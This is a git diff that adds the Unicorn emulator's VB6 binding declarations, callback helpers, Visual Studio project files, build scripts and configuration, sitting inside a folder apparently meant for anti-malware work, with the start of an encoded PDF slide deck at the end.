(UC_ARCH_*) +' @mode: hardware mode. This is combined of UC_MODE_* +' @uc: pointer to uc_engine, which will be updated at return time +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **uc); +Public Declare Function ucs_open Lib "ucvbshim.dll" (ByVal arch As uc_arch, ByVal mode As uc_mode, ByRef hEngine As Long) As uc_err + + +'/* +' Close UC instance: MUST do to release the handle when it is not used anymore. +' NOTE: this must be called only when there is no longer usage of Unicorn. +' The reason is the this API releases some cached memory, thus access to any +' Unicorn API after uc_close() might crash your application. +' After this, @uc is invalid, and nolonger usable. +' +' @uc: pointer to a handle returned by uc_open() +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_close(uc_engine *uc); +Public Declare Function ucs_close Lib "ucvbshim.dll" (ByVal hEngine As Long) As uc_err + +' +'/* +' Query internal status of engine. +' +' @uc: handle returned by uc_open() +' @type: query type. See uc_query_type +' +' @result: save the internal status queried +' +' @return: error code of uc_err enum type (UC_ERR_*, see above) +'*/ +'// All type of queries for uc_query() API. +'typedef enum uc_query_type { +' // Dynamically query current hardware mode. +' UC_QUERY_MODE = 1, +' UC_QUERY_PAGE_SIZE, +'} uc_query_type; +'UNICORN_EXPORT +'uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result); + + + +'/* +' Report the last error number when some API function fail. +' Like glibc's errno, uc_errno might not retain its old value once accessed. +' +' @uc: handle returned by uc_open() +' +' @return: error code of uc_err enum type (UC_ERR_*, see above) +'*/ +'UNICORN_EXPORT +'uc_err uc_errno(uc_engine *uc); +Public Declare Function ucs_errno Lib "ucvbshim.dll" (ByVal hEngine As Long) As uc_err + + +' +'/* +' Return a string describing given error code. +' +' @code: error code (see UC_ERR_* above) +' +' @return: returns a pointer to a string that describes the error code +' passed in the argument @code +' */ +'UNICORN_EXPORT +'const char *uc_strerror(uc_err code); +Public Declare Function ucs_strerror Lib "ucvbshim.dll" (ByVal code As uc_err) As Long + + + +'/* +' Write to register. +' +' @uc: handle returned by uc_open() +' @regid: register ID that is to be modified. +' @value: pointer to the value that will set to register @regid +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_reg_write(uc_engine *uc, int regid, const void *value); +Public Declare Function ucs_reg_write Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal regid As uc_x86_reg, ByRef value As Long) As uc_err + + +'/* +' Read register value. +' +' @uc: handle returned by uc_open() +' @regid: register ID that is to be retrieved. +' @value: pointer to a variable storing the register value. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_reg_read(uc_engine *uc, int regid, void *value); +Public Declare Function ucs_reg_read Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal regid As uc_x86_reg, ByRef value As Long) As uc_err + + + +'/* +' Write multiple register values. +' +' @uc: handle returned by uc_open() +' @rges: array of register IDs to store +' @value: pointer to array of register values +' @count: length of both *regs and *vals +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_reg_write_batch(uc_engine *uc, int *regs, void *const *vals, int count); + + + +' +'/* +' Read multiple register values. +' +' @uc: handle returned by uc_open() +' @rges: array of register IDs to retrieve +' @value: pointer to array of values to hold registers +' @count: length of both *regs and *vals +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_reg_read_batch(uc_engine *uc, int *regs, void **vals, int count); + + + +'/* +' Write to a range of bytes in memory. +' +' @uc: handle returned by uc_open() +' @address: starting memory address of bytes to set. +' @bytes: pointer to a variable containing data to be written to memory. +' @size: size of memory to write to. +' +' NOTE: @bytes must be big enough to contain @size bytes. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size); +Public Declare Function ucs_mem_write Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByRef b As Byte, ByVal size As Long) As uc_err + + + +'/* +' Read a range of bytes in memory. +' +' @uc: handle returned by uc_open() +' @address: starting memory address of bytes to get. +' @bytes: pointer to a variable containing data copied from memory. +' @size: size of memory to read. +' +' NOTE: @bytes must be big enough to contain @size bytes. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *bytes, size_t size); +Public Declare Function ucs_mem_read Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByRef b As Byte, ByVal size As Long) As uc_err + + + + +'/* +' Emulate machine code in a specific duration of time. +' +' @uc: handle returned by uc_open() +' @begin: address where emulation starts +' @until: address where emulation stops (i.e when this address is hit) +' @timeout: duration to emulate the code (in microseconds). When this value is 0, +' we will emulate the code in infinite time, until the code is finished. +' @count: the number of instructions to be emulated. When this value is 0, +' we will emulate all the code available, until the code is finished. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); +Public Declare Function ucs_emu_start Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal startAt As Currency, ByVal endAt As Currency, ByVal timeout As Currency, ByVal count As Long) As uc_err + + +' +'/* +' Stop emulation (which was started by uc_emu_start() API. +' This is typically called from callback functions registered via tracing APIs. +' NOTE: for now, this will stop the execution only after the current block. +' +' @uc: handle returned by uc_open() +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_emu_stop(uc_engine *uc); +Public Declare Function ucs_emu_stop Lib "ucvbshim.dll" (ByVal hEngine As Long) As uc_err + + + +'/* +' Register callback for a hook event. +' The callback will be run when the hook event is hit. +' +' @uc: handle returned by uc_open() +' @hh: hook handle returned from this registration. To be used in uc_hook_del() API +' @type: hook type +' @callback: callback to be run when instruction is hit +' @user_data: user-defined data. This will be passed to callback function in its +' last argument @user_data +' @begin: start address of the area where the callback is effect (inclusive) +' @end: end address of the area where the callback is effect (inclusive) +' NOTE 1: the callback is called only if related address is in range [@begin, @end] +' NOTE 2: if @begin > @end, callback is called whenever this hook type is triggered +' @...: variable arguments (depending on @type) +' NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err __stdcall ucs_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, ...) +' +'note vb6 does not support variable length arguments to api declares so UC_HOOK_INSN would require a seperate declare and stub +'also note that the callback is not used directly, it is proxied through a cdecl stub +'since the hook flags can be different combos, we pass in a catagory for simplicity in selecting which c callback to use..(bit sloppy but easy) +Public Declare Function ucs_hook_add Lib "ucvbshim.dll" (ByVal hEngine As Long, ByRef hHook As Long, ByVal hType As uc_hook_type, ByVal callback As Long, ByVal user_data As Long, ByVal beginAt As Currency, ByVal endAt As Currency, ByVal catagory As Long, Optional ByVal inst_id As Long = 0) As uc_err + + +'/* +' Unregister (remove) a hook callback. +' This API removes the hook callback registered by uc_hook_add(). +' NOTE: this should be called only when you no longer want to trace. +' After this, @hh is invalid, and nolonger usable. +' +' @uc: handle returned by uc_open() +' @hh: handle returned by uc_hook_add() +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_hook_del(uc_engine *uc, uc_hook hh); +Public Declare Function ucs_hook_del Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal hHook As Long) As uc_err + + + +'/* +' Map memory in for emulation. +' This API adds a memory region that can be used by emulation. +' +' @uc: handle returned by uc_open() +' @address: starting address of the new memory region to be mapped in. +' This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. +' @size: size of the new memory region to be mapped in. +' This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. +' @perms: Permissions for the newly mapped region. +' This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, +' or this will return with UC_ERR_ARG error. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); +Public Declare Function ucs_mem_map Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByVal size As Long, ByVal perms As uc_prot) As uc_err + + + +'/* +' Map existing host memory in for emulation. +' This API adds a memory region that can be used by emulation. +' +' @uc: handle returned by uc_open() +' @address: starting address of the new memory region to be mapped in. +' This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. +' @size: size of the new memory region to be mapped in. +' This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. +' @perms: Permissions for the newly mapped region. +' This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, +' or this will return with UC_ERR_ARG error. +' @ptr: pointer to host memory backing the newly mapped memory. This host memory is +' expected to be an equal or larger size than provided, and be mapped with at +' least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr); +Public Declare Function ucs_mem_map_ptr Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByVal size As Long, ByVal perms As uc_prot, ByVal ptr As Long) As uc_err + + + +'/* +' Unmap a region of emulation memory. +' This API deletes a memory mapping from the emulation memory space. +' +' @uc: handle returned by uc_open() +' @address: starting address of the memory region to be unmapped. +' This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. +' @size: size of the memory region to be modified. +' This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_unmap(uc_engine *uc, uint64_t address, size_t size); +Public Declare Function ucs_mem_unmap Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByVal size As Long) As uc_err + + +'/* +' Set memory permissions for emulation memory. +' This API changes permissions on an existing memory region. +' +' @uc: handle returned by uc_open() +' @address: starting address of the memory region to be modified. +' This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. +' @size: size of the memory region to be modified. +' This size must be multiple of 4KB, or this will return with UC_ERR_ARG error. +' @perms: New permissions for the mapped region. +' This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, +' or this will return with UC_ERR_ARG error. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_protect(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); +Public Declare Function ucs_mem_protect Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByVal size As Long, ByVal perm As uc_prot) As uc_err + + + +'/* +' Retrieve all memory regions mapped by uc_mem_map() and uc_mem_map_ptr() +' This API allocates memory for @regions, and user must free this memory later +' by free() to avoid leaking memory. +' NOTE: memory regions may be splitted by uc_mem_unmap() +' +' @uc: handle returned by uc_open() +' @regions: pointer to an array of uc_mem_region struct. This is allocated by +' Unicorn, and must be freed by user later +' @count: pointer to number of struct uc_mem_region contained in @regions +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count); +'simplofied for vb use: uc_err __stdcall getMemMap(uc_engine *uc, _CollectionPtr *pColl){ + +'fills a collection with csv values of all memory regions.. +Public Declare Function get_memMap Lib "ucvbshim.dll" (ByVal hEngine As Long, ByRef col As Collection) As uc_err + + +'/* +' Allocate a region that can be used with uc_context_{save,restore} to perform +' quick save/rollback of the CPU context, which includes registers and some +' internal metadata. Contexts may not be shared across engine instances with +' differing arches or modes. +' +' @uc: handle returned by uc_open() +' @context: pointer to a uc_engine*. This will be updated with the pointer to +' the new context on successful return of this function. +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_context_alloc(uc_engine *uc, uc_context **context); +Public Declare Function ucs_context_alloc Lib "ucvbshim.dll" (ByVal hEngine As Long, ByRef context As Long) As uc_err + + + +'/* +' Free the resource allocated by uc_context_alloc. +' +' @context: handle returned by uc_context_alloc() +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_free(void* mem); +Public Declare Function ucs_free Lib "ucvbshim.dll" (ByVal mem As Long) As uc_err + + + +'/* +' Save a copy of the internal CPU context. +' This API should be used to efficiently make or update a saved copy of the +' internal CPU state. +' +' @uc: handle returned by uc_open() +' @context: handle returned by uc_context_alloc() +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_context_save(uc_engine *uc, uc_context *context); +Public Declare Function ucs_context_save Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal context As Long) As uc_err + + + +'/* +' Restore the current CPU context from a saved copy. +' This API should be used to roll the CPU context back to a previous +' state saved by uc_context_save(). +' +' @uc: handle returned by uc_open() +' @buffer: handle returned by uc_context_alloc that has been used with uc_context_save +' +' @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum +' for detailed error). +'*/ +'UNICORN_EXPORT +'uc_err uc_context_restore(uc_engine *uc, uc_context *context); +Public Declare Function ucs_context_restore Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal context As Long) As uc_err + + + +'uses libdasm to retrieve the 32bit disassembly at a specified va +'int __stdcall disasm_addr(uc_engine *uc, int va, char *str, int bufLen){ +Public Declare Function disasm_addr Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Long, ByVal buf As String, ByVal size As Long) As Long + + +'simplified access to map and write data to emu memory +'uc_err __stdcall mem_write_block(uc_engine *uc, uint64_t address, void* data, uint32_t size, uint32_t perm){ +Public Declare Function mem_write_block Lib "ucvbshim.dll" (ByVal hEngine As Long, ByVal addr As Currency, ByRef data As Byte, ByVal size As Long, ByVal perm As Long) As uc_err + +Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long +Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long + +'api version of the below.. +'Function err2str(e As uc_err) As String +' Dim lpStr As Long +' Dim length As Long +' Dim buf() As Byte +' +' lpStr = ucs_strerror(e) +' If lpStr = 0 Then Exit Function +' +' length = lstrlen(lpStr) +' If length = 0 Then Exit Function +' +' ReDim buf(1 To length) +' CopyMemory buf(1), ByVal lpStr, length +' +' err2str2 = StrConv(buf, vbUnicode, &H409) +' +'End Function + +Function err2str(e As uc_err) As String + + err2str = "Unknown error code: " & e + + If e = uc_err_ok Then err2str = "No error: everything was fine" + If e = UC_ERR_NOMEM Then err2str = "Out-Of-Memory error: uc_open(), uc_emulate()" + If e = UC_ERR_ARCH Then err2str = "Unsupported architecture: uc_open()" + If e = UC_ERR_HANDLE Then err2str = "Invalid handle" + If e = UC_ERR_MODE Then err2str = "Invalid/unsupported mode: uc_open()" + If e = UC_ERR_VERSION Then err2str = "Unsupported version (bindings)" + If e = UC_ERR_READ_UNMAPPED Then err2str = "Quit emulation due to READ on unmapped memory: uc_emu_start()" + If e = UC_ERR_WRITE_UNMAPPED Then err2str = "Quit emulation due to WRITE on unmapped memory: uc_emu_start()" + If e = UC_ERR_FETCH_UNMAPPED Then err2str = "Quit emulation due to FETCH on unmapped memory: uc_emu_start()" + If e = UC_ERR_HOOK Then err2str = "Invalid hook type: uc_hook_add()" + If e = UC_ERR_INSN_INVALID Then err2str = "Quit emulation due to invalid instruction: uc_emu_start()" + If e = UC_ERR_MAP Then err2str = "Invalid memory mapping: uc_mem_map()" + If e = UC_ERR_WRITE_PROT Then err2str = "Quit emulation due to UC_MEM_WRITE_PROT violation: uc_emu_start()" + If e = UC_ERR_READ_PROT Then err2str = "Quit emulation due to UC_MEM_READ_PROT violation: uc_emu_start()" + If e = UC_ERR_FETCH_PROT Then err2str = "Quit emulation due to UC_MEM_FETCH_PROT violation: uc_emu_start()" + If e = UC_ERR_ARG Then err2str = "Inavalid argument provided to uc_xxx function (See specific function API)" + If e = UC_ERR_READ_UNALIGNED Then err2str = "Unaligned read" + If e = UC_ERR_WRITE_UNALIGNED Then err2str = "Unaligned write" + If e = UC_ERR_FETCH_UNALIGNED Then err2str = "Unaligned fetch" + If e = UC_ERR_HOOK_EXIST Then err2str = "hook for this event already existed" + If e = UC_ERR_RESOURCE Then err2str = "Insufficient resource: uc_emu_start()" + If e = UC_ERR_EXCEPTION Then err2str = "Unhandled CPU exception" + +End Function + +Function memType2str(t As uc_mem_type) + + memType2str = "Unknown memType: " & t + + If t = UC_MEM_READ Then memType2str = "Memory is read from" + If t = uc_mem_write Then memType2str = "Memory is written to" + If t = UC_MEM_FETCH Then memType2str = "Memory is fetched" + If t = UC_MEM_READ_UNMAPPED Then memType2str = "Unmapped memory is read from" + If t = UC_MEM_WRITE_UNMAPPED Then memType2str = "Unmapped memory is written to" + If t = UC_MEM_FETCH_UNMAPPED Then memType2str = "Unmapped memory is fetched" + If t = UC_MEM_WRITE_PROT Then memType2str = "Write to write protected, but mapped, memory" + If t = UC_MEM_READ_PROT Then memType2str = "Read from read protected, but mapped, memory" + If t = UC_MEM_FETCH_PROT Then memType2str = "Fetch from non-executable, but mapped, memory" + If t = UC_MEM_READ_AFTER Then memType2str = "Memory is read from (successful access)" + +End Function + + + + + + + +'--------------------- [ callback support ] --------------------------------------------- + +'so the callbacks must live in a module (vb6 language limitation/safety feature) +'we use a simple lookup mechanism to support multiple instances + +Function findInstance(ptr As Long) As ucIntel32 + On Error Resume Next + Set findInstance = instances("objptr:" & ptr) +End Function + +'in case we want to keep userdata for something else..this is just as easy.. +Function findInstanceByUc(uc As Long) As ucIntel32 + Dim u As ucIntel32 + For Each u In instances + If u.uc = uc Then + Set findInstanceByUc = u + Exit Function + End If + Next +End Function + +'typedef void (__stdcall *vb_cb_hookcode_t) (uc_engine *uc, uint64_t address, uint32_t size, void *user_data); +Public Sub code_hook(ByVal uc As Long, ByVal address As Currency, ByVal size As Long, ByVal user_data As Long) + Dim u As ucIntel32 + Set u = findInstance(user_data) + If u Is Nothing Then Exit Sub + u.internal_code_hook address, size +End Sub + +Public Sub block_hook(ByVal uc As Long, ByVal address As Currency, ByVal size As Long, ByVal user_data As Long) + Dim u As ucIntel32 + Set u = findInstance(user_data) + If u Is Nothing Then Exit Sub + u.internal_block_hook address, size +End Sub + +'typedef void (*uc_cb_hookmem_t)(uc_engine *uc, uc_mem_type type, uint64_t address, int size, int64_t value, void *user_data); +Public Sub mem_hook(ByVal uc As Long, ByVal t As uc_mem_type, ByVal address As Currency, ByVal size As Long, ByVal value As Currency, ByVal user_data As Long) + Dim u As ucIntel32 + Set u = findInstance(user_data) + If u Is Nothing Then Exit Sub + u.internal_mem_hook t, address, size, value +End Sub + +'typedef bool (*uc_cb_eventmem_t)(uc_engine *uc, uc_mem_type type, uint64_t address, int size, int64_t value, void *user_data); +Public Function invalid_mem_hook(ByVal uc As Long, ByVal t As uc_mem_type, ByVal address As Currency, ByVal size As Long, ByVal value As Currency, ByVal user_data As Long) As Long + 'return 0 to stop emulation, 1 to continue + Dim u As ucIntel32 + Set u = findInstance(user_data) + If u Is Nothing Then Exit Function + invalid_mem_hook = u.internal_invalid_mem_hook(t, address, size, value) +End Function + +'typedef void (*vb_cb_hookintr_t)(uc_engine *uc,uint32_t intno, void *user_data); +Public Sub interrupt_hook(ByVal uc As Long, ByVal intno As Long, ByVal user_data As Long) + Dim u As ucIntel32 + Set u = findInstance(user_data) + If u Is Nothing Then Exit Sub + u.internal_interrupt_hook intno +End Sub + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.sln b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.sln new file mode 100644 index 0000000..dd7f017 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ucvbshim", "ucvbshim.vcproj", "{6FC797B7-2985-49C8-92CD-CA985AF3511C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6FC797B7-2985-49C8-92CD-CA985AF3511C}.Debug|Win32.ActiveCfg = Debug|Win32 + {6FC797B7-2985-49C8-92CD-CA985AF3511C}.Debug|Win32.Build.0 = Debug|Win32 + {6FC797B7-2985-49C8-92CD-CA985AF3511C}.Release|Win32.ActiveCfg = Release|Win32 + {6FC797B7-2985-49C8-92CD-CA985AF3511C}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.vcproj b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.vcproj new file mode 100644 index 0000000..83f7952 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.vcproj @@ -0,0 +1,204 @@ +<?xml version="1.0" encoding="Windows-1252"?> +<VisualStudioProject + ProjectType="Visual C++" + Version="9.00" + Name="ucvbshim" + ProjectGUID="{6FC797B7-2985-49C8-92CD-CA985AF3511C}" + RootNamespace="My1" + Keyword="Win32Proj" + TargetFrameworkVersion="196613" + > + <Platforms> + <Platform + Name="Win32" + /> + </Platforms> + <ToolFiles> + </ToolFiles> + <Configurations> + <Configuration + Name="Debug|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="2" + CharacterSet="2" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="0" + AdditionalIncludeDirectories="./../../include/" + PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;" + MinimalRebuild="true" + BasicRuntimeChecks="3" + RuntimeLibrary="1" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="4" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + OutputFile="./ucvbshim.dll" + LinkIncremental="2" + GenerateManifest="false" + ModuleDefinitionFile="" + GenerateDebugInformation="true" + SubSystem="1" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + EmbedManifest="false" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Release|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="2" + CharacterSet="2" + WholeProgramOptimization="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="2" + EnableIntrinsicFunctions="true" + AdditionalIncludeDirectories="./../../include/" + PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;" + RuntimeLibrary="0" + EnableFunctionLevelLinking="true" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + OutputFile="./ucvbshim.dll" + LinkIncremental="1" + GenerateManifest="false" + GenerateDebugInformation="true" + SubSystem="1" + OptimizeReferences="2" + EnableCOMDATFolding="2" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + EmbedManifest="false" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <Filter + Name="Source Files" + Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" + UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" + > + <File + RelativePath=".\main.cpp" + > + </File> + </Filter> + <Filter + Name="Header Files" + Filter="h;hpp;hxx;hm;inl;inc;xsd" + UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" + > + <File + RelativePath="..\..\include\unicorn\unicorn.h" + > + </File> + <File + RelativePath="..\..\include\x86.h" + > + </File> + </Filter> + </Files> + <Globals> + </Globals> +</VisualStudioProject> diff --git a/ai_anti_malware/unicorn/unicorn-master/cmake.sh b/ai_anti_malware/unicorn/unicorn-master/cmake.sh new file mode 100644 index 0000000..7806a0e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/cmake.sh @@ -0,0 +1,17 @@ +#!/bin/sh + +# Unicorn Emulator Engine (www.unicorn-engine.org) +# Usage: cmake.sh [x86] [arm] [aarch64] [m68k] [mips] [sparc] +# By chenhuitao 2019 + +FLAGS="-DCMAKE_BUILD_TYPE=Release" + +UNICORN_ARCH="${*}" + +if [ -z "${UNICORN_ARCH}" ]; then + cmake "${FLAGS}" .. +else + cmake "${FLAGS}" "-DUNICORN_ARCH=${UNICORN_ARCH}" .. +fi + +make -j8 diff --git a/ai_anti_malware/unicorn/unicorn-master/config.mk b/ai_anti_malware/unicorn/unicorn-master/config.mk new file mode 100644 index 0000000..c3621fb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/config.mk @@ -0,0 +1,30 @@ +# Unicorn Emulator Engine +# By Nguyen Anh Quynh, 2015 + +# This file contains all customized compile options for Unicorn emulator. +# Consult docs/COMPILE.md & docs/README.md for more details. + +################################################################################ +# Compile with debug info when you want to debug code. +# Change this to 'no' for release edition. + +UNICORN_DEBUG ?= yes + +################################################################################ +# Specify which archs you want to compile in. By default, we build all archs. + +UNICORN_ARCHS ?= x86 m68k arm aarch64 mips sparc + + +################################################################################ +# Change 'UNICORN_STATIC = yes' to 'UNICORN_STATIC = no' to avoid building +# a static library. + +UNICORN_STATIC ?= yes + + +################################################################################ +# Change 'UNICORN_SHARED = yes' to 'UNICORN_SHARED = no' to avoid building +# a shared library. + +UNICORN_SHARED ?= yes diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/BHUSA2015-unicorn.pdf b/ai_anti_malware/unicorn/unicorn-master/docs/BHUSA2015-unicorn.pdf new file mode 100644 index 0000000000000000000000000000000000000000..909619769a313b42ce19ecd1733c8a50f16bbbb9 GIT binary patch literal 768115 zcmce-b8sfnw>BEvHYc`i+jcU+8#|fUwrxzTH_pVior!Hbx$`@9zJKnmTi;*jbX9kC zZFN7r*INCoz1N~p7MEmTVdQ|Lm|YxNg=1kRVJ2}fwT9#8hhtLz<!DaAq^)FXZEofY z$E4<F>iS<Lk`B&xa7?124xS`>|7p*{{9mU59MgYl{;L-Y9Fu~Ht25wV3zmN^{?-5I z`mcqmxr>9FvzfUI3Cn+qRN<K9&Fw8+tw>lnNdEiyHw?hm)!dncNz&HD)m+@%%;Bdw zoS-0_i>tG_i5;Bh`U3K_GWGNh7zp$y=nb5?{m=id`FHo9cV}VyH}d}y2=@Om5FGz| zAUOZWKydx<f#Ck10>S#fCr+&YW8%d6pE>^D(FxZ7O#1(bVzcu6uYq9ukJ0)c0l~)l zzX#$!lKVdbg6lup_J73bzb!Z?$Nw?m|91;Mq#@_9AdJ%etTj28c4I;O7rQb+cO8OT z9QY#@WzV>@7Qfj^-3<NZdD82GQ{hcI1SR|;&eGlTIC}&e3DOaV@Fvz^htaV|3=!J= zhl^}5FbNh=Fur@XV|zaTmoHgZ2wns9JpcH6!UoxAqsnQPVLEYNDyt{*CI3i8nA!x> z7!s6YBssWG*%^gKts;@R9c(Bwjil7P0?6DR;xGrynMrE^s$f!)(VC(DiA`27o8$i0 z7>Pt<#5**PdwUWN6BRH@`}ynpmu&xOQTx={U!_?DJs!P-D($QYdam2&vGNt#=OQ;| 